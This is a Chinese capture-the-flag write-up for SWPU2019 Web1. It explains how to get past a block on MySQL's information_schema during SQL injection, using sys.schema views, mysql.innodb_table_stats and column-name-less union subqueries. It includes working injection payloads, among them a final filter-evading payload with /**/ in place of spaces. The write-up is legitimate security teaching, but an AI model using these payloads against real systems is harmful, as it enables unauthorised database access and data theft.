[SWPU2019]Web1--关于information_schema的绕过方式
这个知识点没接触过,记录一下,顺便修正一下网上文章的坑点
绕过方式总结
一:sys.schemma
限制:
mysql ≥ 5.7版本
般要超级管理员才可以访问sys
payload:
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+
?id=-1' union all select*from (select * from users as a join users b)c--+ #获取第一列的列名
?id=-1' union all select*from (select * from users as a join users b using(id,username))c--+ #获取次列及后续列名
二:无列名注入
(select `2` from (select 1,2,3 union select * from table_name)a) #前提是要知道表名
((select c from (select 1,2,3 c union select * from users)b)) #1,2,3是因为users表有三列,实际情况还需要猜测表的列的数量
三:innodb引擎
限制:
mysql ≥ 5.5版本
mysql.innodb_table_stats 或 mysql.innodb_table_index 存放所有库名,表名
select group_concat(table_name) from mysql.innodb_table_stats
select table_name from mysql.innodb_table_stats where database_name=库名
解题
这题技巧一在buuctf种用不了,会提示无此函数
技巧三就不说了复制粘贴就行,
主要是在技巧二的地方遇到坑了
先放一下我的最终payload:
11'union/**/select/**/1,(select/**/group_concat(`3`)/**/from(select/**/1,2,3/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21'
排坑
首先网上很多文章是chao的,所有根本没说清楚users表三列是怎么试出来的,首先我们试下他们的流程
这样是没问题的
这两个也是没问题的
但是原题环境跟这个并不相同,你得首先构造一个查询,以此为例
接着进行union注入
此时在2的位置替换,我们的联合查询
你会发现报错,题目环境也是这个报错,说明这样并不能用,那怎么进行猜列数呢
如果你这样写,会报一个多数据错误,所以group_concat是必须的
此时才能完成查询功能,所以猜列的payload必须完整输入时才能进行,并不是和正常查询一样在之前进行的列猜测
然后我发现题目并没有限制 `` 符号,所以可以直接查询
ps:真是想吐槽一下,写文章自己都没弄明白就一通chao的真的太多了,连payload都一样,自己都不试试吗???写这篇文章也是给新做题的朋友一个正确的提示,这帮人真的太划了!!!